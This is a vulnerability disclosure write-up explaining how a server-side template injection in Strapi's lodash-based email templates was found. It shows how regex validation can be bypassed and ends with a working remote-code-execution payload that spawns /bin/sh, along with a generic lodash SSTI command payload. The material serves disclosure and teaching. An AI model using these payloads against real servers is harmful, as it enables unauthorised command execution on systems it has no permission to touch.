Discovering and Exploiting this Vulnerability
To understand how I discovered and exploited the SSTI vulnerability in Strapi, I need to breakdown the different aspects when put together resulted in a successful exploit.
Exploiting Lodash Template Injection
When I started reviewing Strapi, one of the first things that immediately caught my attention was the use of the
lodash
template engine in
sendTemplatedEmail
(source code shown below).
'use strict';
const _ = require('lodash');
const getProviderSettings = () => {
return strapi.config.get('plugin.email');
};
const send = async (options) => {
return strapi.plugin('email').provider.send(options);
};
/**
* fill subject, text and html using lodash template
* @param {object} emailOptions - to, from and replyto...
* @param {object} emailTemplate - object containing attributes to fill
* @param {object} data - data used to fill the template
* @returns {{ subject, text, subject }}
*/
const sendTemplatedEmail = (emailOptions = {}, emailTemplate = {}, data = {}) => {
const attributes = ['subject', 'text', 'html'];
const missingAttributes = _.difference(attributes, Object.keys(emailTemplate));
if (missingAttributes.length > 0) {
throw new Error(
`Following attributes are missing from your email template : ${missingAttributes.join(', ')}`
);
}
const templatedAttributes = attributes.reduce(
(compiled, attribute) =>
emailTemplate[attribute]
? Object.assign(compiled, { [attribute]: _.template(emailTemplate[attribute])(data) })
: compiled,
{}
);
return strapi.plugin('email').provider.send({ ...emailOptions, ...templatedAttributes });
};
module.exports = () => ({
getProviderSettings,
send,
sendTemplatedEmail,
});
I was unfamiliar with using or exploiting the
lodash
template engine, but reading the
documentation
I realised that the template engine can
evaluate JavaScript code on the server
! I also
found this tweet
that contains the following payload that can exploit
lodash
SSTI vulnerabilities to execute arbitrary commands.
<%= ${x=Object}${w=a=new x}${w.type="pipe"}${w.readable=1}${w.writable=1}${a.file="/bin/sh"}${a.args=["/bin/sh","-c","id"]}${a.stdio=[w,w]}${process.binding("spawn_sync").spawn(a).output} %>
Now that payload looks a little bit confusing, so lets break it down to understand how it works:
-
The payload creates two empty objects named
w
and
x
(
${x=Object}${w=a=new x}
).
-
The
w
is then assigned the
readable
and
writable
attributes that both have a value of
1
and the attribute
type
to
pipe
to pipe the output of the command that would be executed (
${w.type="pipe"}${w.readable=1}${w.writable=1}
).
-
Then
a
is assigned the following attributes and used as the input parameter for
process.binding("spawn_sync").spawn
that starts a new process and waits until completion.
{
file: "/bin/sh",
args: ["/bin/sh", "-c", "id"],
stdio: [
{"type": "pipe", "readable": 1, "writable": 1},
{"type": "pipe", "readable": 1, "writable": 1}
]
}
So that is a neat payload to get RCE by exploiting a
lodash
SSTI vulnerability. However, when I attempted to use that payload I kept on getting this weird error.
Looking at the request and response using BurpSuite, I realised that email templates were being validated and my payload was being rejected somewhere.
Searching for the keyword "Invalid template", I found the
isValidEmailTemplate
function that was not letting me pass my payload :(
Bypassing the Email Template Validation Check
Below is the source code for
isValidEmailTemplate
that was rejecting the original SSTI payload that I simply copied and pasted.
'use strict';
const _ = require('lodash');
const invalidPatternsRegexes = [/<%[^=]([^<>%]*)%>/m, /\${([^{}]*)}/m];
const authorizedKeys = [
'URL',
'ADMIN_URL',
'SERVER_URL',
'CODE',
'USER',
'USER.email',
'USER.username',
'TOKEN',
];
const matchAll = (pattern, src) => {
const matches = [];
let match;
const regexPatternWithGlobal = RegExp(pattern, 'g');
// eslint-disable-next-line no-cond-assign
while ((match = regexPatternWithGlobal.exec(src))) {
const [, group] = match;
matches.push(_.trim(group));
}
return matches;
};
const isValidEmailTemplate = (template) => {
for (const reg of invalidPatternsRegexes) {
if (reg.test(template)) {
return false;
}
}
const matches = matchAll(/<%=([^<>%=]*)%>/, template);
for (const match of matches) {
if (!authorizedKeys.includes(match)) {
return false;
}
}
return true;
};
module.exports = {
isValidEmailTemplate,
};
The
isValidEmailTemplate
preforms two checks for validating a submitted email template:
-
It checks that only the
<%= %>
Lodash template delimiter is used by checking if there is a match to an invalid regex pattern (
[/<%[^=]([^<>%]*)%>/m, /\${([^{}]*)}/m]
).
Code snippet that checks only
<%= %>
delimiter is used
for (const reg of invalidPatternsRegexes) {
if (reg.test(template)) {
return false;
}
}
-
That the key name within the
<%= %>
delimiter is in the allow list named
authorizedKeys
.
Code snippet that checks the key name is in an allow list
const matches = matchAll(/<%=([^<>%=]*)%>/, template);
for (const match of matches) {
if (!authorizedKeys.includes(match)) {
return false;
}
}
So I had to bypass three different regex patterns.
Regex Pattern
|
Purpose
|
/<%[^=]([^<>%]*)%>/m
|
Checks that
<%= %>
Lodash template delimiter is the only used delimiter in the template.
|
/\${([^{}]*)}/m
|
Rejects using the ES template literal delimiter (example
${ stuffHere }
).
|
/<%=([^<>%=]*)%>/
|
Used for extracting the key names from each
<%= %>
delimiter and comparing to an allow list.
|
The first regex pattern I had no issues with, since I wanted to use the
<%= %>
delimiter for triggering my SSTI payload.
However, the second and third regex patterns were far more problematic. The SSTI RCE payload that I discussed in the previous section uses the characters
${}
within the payload to evaluate JavaScript code, which was being blocked by the pattern
/\${([^{}]*)}/m
. Plus, to make things more challenging I had to find a way to trick the
/<%=([^<>%=]*)%>/
pattern to extract a key name in the allow list or
nothing to skip the allow list check
(
a little bit of foreshadowing
).
Now if you are familiar with using regex patterns, you might of noticed that the patterns in
isValidEmailTemplate
are similar to the regex pattern for matching any text between delimiters (eg.
\${(.*?)}
will match to any text on a single line between
${
and
}
). In this can an exclude character list (eg.
[^{}]
) when matching characters within text.
At a glance, these regex patterns appear to be fine.
However, there is 1 tiny mistake in all of the regex patterns that allowed me to bypass these checks!
The special regex character
*
matches the previous token between zero and unlimited times
. Looking at the regex patterns, the previous regex token in each of them is a
character exclusion list
. Therefore, characters in the exclusion list would
break the grouping of text between the delimiters and results in not matching the regex patterns
!
Okay I went a little bit technical there, so I will demonstrate using the
/\${([^{}]*)}/m
pattern. Using
regex101
, the below screenshot shows that the pattern correctly identifies text between
${}
.
Now if I add a character from the exclude list (
{
or
}
) the
regex pattern does not correctly match the text since it does not match the pattern
[^{}]*
!
The same issue occurs for the
/<%=([^<>%=]*)%>/
pattern used for extracting key names for comparison to the allow list.
So if I included one of these characters
<>%=
in the key name between
<%= %>
then the
filter will fail to extract my payload for comparison with allowed key names
!
You can test it out yourself by running the following test code.
const _ = require("lodash");
const authorizedKeys = [
'URL',
'ADMIN_URL',
'SERVER_URL',
'CODE',
'USER',
'USER.email',
'USER.username',
'TOKEN',
];
const matchAll = (pattern, src) => {
const matches = [];
let match;
const regexPatternWithGlobal = RegExp(pattern, 'g');
// eslint-disable-next-line no-cond-assign
while ((match = regexPatternWithGlobal.exec(src))) {
const [, group] = match;
matches.push(_.trim(group));
}
return matches;
};
const validKeyInTemplate = (template) => {
const matches = matchAll(/<%=([^<>%=]*)%>/, template);
for (const match of matches) {
if (!authorizedKeys.includes(match)) {
return false;
}
}
return true;
};
let blockedTemplate = '<%= I am blocked %>';
let bypassTemplate = '<%= I am not blocked because I have <>%=! %>';
let tests = [blockedTemplate, bypassTemplate];
tests.forEach((template) => {
console.log(`template: ${template}`);
if (validKeyInTemplate(template)) {
console.log('Bypassed the Regex Filter!');
} else {
console.log('Was blocked :(');
}
});
Putting it All Together
Now that I had discovered a bypass for the regex filters in
isValidEmailTemplate
, I needed to reorganise my SSTI payload to bypass validation.
Firstly, the
lodash
SSTI payload in
this tweet
is just a fancy way to execute
process.binding("spawn_sync").spawn
with the following Object as an input parameter.
{
file: "/bin/sh",
args: ["/bin/sh", "-c", "id"],
stdio: [
{"type": "pipe", "readable": 1, "writable": 1},
{"type": "pipe", "readable": 1, "writable": 1}
]
}
Since JavaScript Objects can be declared using
{}
characters, I could bypass the regex pattern
/\${([^{}]*)}/m
by simply changing the input for
process.binding("spawn_sync").spawn
from a variable that is constructed within the payload to a single Object using
{}
(shown below).
<%= `${ process.binding("spawn_sync").spawn({"file":"/bin/sh","args":["/bin/sh","-c","mkdir /tmp/strapi-confirm; touch /tmp/strapi-confirm/rce"],"stdio":[{"readable":1,"writable":1,"type":"pipe"},{"readable":1,"writable":1,"type":"pipe"}]}).output }` %>
Finally to bypass validating the key names for the template delimiters, I simply whacked
/*<>%=*/
into the payload. The
/*
and
*/
characters are multiline comments in JavaScript that ignore any text between the comments. Therefore, I could whack any of the characters in the character exclusion list in
/<%=([^<>%=]*)%>/
so the payload would not be compared to the allow list for valid key names.
The final POC payload
<%= `${ process.binding("spawn_sync").spawn({"file":"/bin/sh","args":["/bin/sh","-c","mkdir /tmp/strapi-confirm; touch /tmp/strapi-confirm/rce"],"stdio":[{"readable":1,"writable":1,"type":"pipe"},{"readable":1,"writable":1,"type":"pipe"/*<>%=*/}]}).output }` %>